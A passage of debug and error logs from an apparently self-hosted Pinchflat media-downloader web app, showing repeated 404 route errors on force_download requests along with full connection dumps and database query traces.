PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 21:43:12.893 [info] GET /sources/2/media/13708/force_download 21:43:12.894 [debug] QUERY OK source="settings" db=0.4ms idle=100.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.890 [error] #PID<0.36756.0> running PinchflatWeb.Endpoint (connection #PID<0.36686.0>, stream id 16) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/7/media/13747/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/13747/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/13747/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36756.0>, params: %{}, path_info: ["sources", "7", "media", "13747", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/7/media/13747/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4MqLxGMDZAIAARYC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/13747/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/13747/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/13747/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 21:43:12.895 [info] GET /sources/7/media/13747 21:43:12.895 [debug] QUERY OK source="settings" db=0.2ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.895 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13747", "prevent_download" => "true", "source_id" => "7"} Pipelines: [:browser] 21:43:12.895 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:12.895 [debug] QUERY OK source="media_items" db=0.1ms idle=8.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13747] 21:43:12.896 [debug] QUERY OK source="sources" db=0.5ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:12.896 [debug] QUERY OK source="tasks" db=0.7ms idle=8.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13747] 21:43:12.896 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=2.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2308] 21:43:12.895 [error] #PID<0.36757.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 16) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/2/media/13708/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/13708/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/13708/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36757.0>, params: %{}, path_info: ["sources", "2", "media", "13708", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/2/media/13708/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4MsGdOH0ZVQAAWYj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/13708/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/13708/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/13708/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 21:43:12.897 [debug] QUERY OK source="settings" db=0.4ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.898 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.900 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.902 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:12.907 [info] Sent 200 in 12ms 21:43:12.929 [info] GET /sources/10/media/13812/edit 21:43:12.930 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "13812", "source_id" => "10"} Pipelines: [:browser] 21:43:12.931 [debug] QUERY OK source="media_items" db=0.4ms idle=33.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13812] 21:43:12.932 [debug] QUERY OK source="settings" db=0.3ms idle=34.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.933 [debug] QUERY OK source="settings" db=0.3ms idle=34.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.934 [debug] QUERY OK source="settings" db=0.4ms idle=33.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.937 [info] Sent 200 in 7ms 21:43:12.942 [info] GET /sources/10/media/13812/force_download 21:43:12.944 [debug] QUERY OK source="settings" db=0.7ms idle=40.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.945 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=13.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.945 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:12.946 [error] #PID<0.36763.0> running PinchflatWeb.Endpoint (connection #PID<0.36686.0>, stream id 19) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/media/13812/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/media/13812/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/media/13812/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36763.0>, params: %{}, path_info: ["sources", "10", "media", "13812", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/media/13812/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4M3zuLLugdQAAWlh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/media/13812/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => 